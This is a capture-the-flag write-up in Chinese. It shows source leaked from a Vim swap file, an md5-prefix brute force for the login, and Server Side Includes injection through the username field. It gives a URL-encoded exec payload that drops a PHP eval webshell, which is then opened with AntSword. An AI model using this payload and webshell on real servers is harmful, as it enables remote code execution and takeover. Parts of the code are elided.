“.swp” 后缀通常用于表示 Vim(一种文本编辑器)的交换文件。Vim 是一个强大的文本编辑器,它在编辑文件时会创建交换文件以确保文件内容的安全性。
访问 index.php.swp
得到源码
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
Hello,'
.$_POST['username'].'
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "";
}else
{
***
}
***
?>
关键在于登录成功将 $_POST['username']
写入 shtml
文件中
SHTML(Server Side Includes HTML)是一种用于网页开发的技术,它允许在HTML文件中嵌入服务器端的指令,以便在服务器端处理特定的任务并将结果嵌入到HTML页面中。这些指令通常以结尾,其中#后面是指令的名称和参数
默认扩展名是 .stm、.shtm 和 .shtml
在SHTML(Server Side Includes HTML)中,exec指令用于执行外部程序或脚本,并将其输出嵌入到HTML页面中。这个指令的一般语法如下:
登录的用户名的md5前6位是 6d0bc1
进行爆破
$i=0;
while(substr(md5($i),0,6) != "6d0bc1"){
$i++;
}
echo $i;
2020666
登录
有文件位置
构造一句话
url编码
%3C!--%23exec%20cmd%3D%22echo%20PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%7Cbase64%20-d%3E.index.php%22%20--%3E
我这里用hackbar发包
查看对应包的响应的shtml文件位置并访问
我这里使用蚁剑连接
根目录找到flag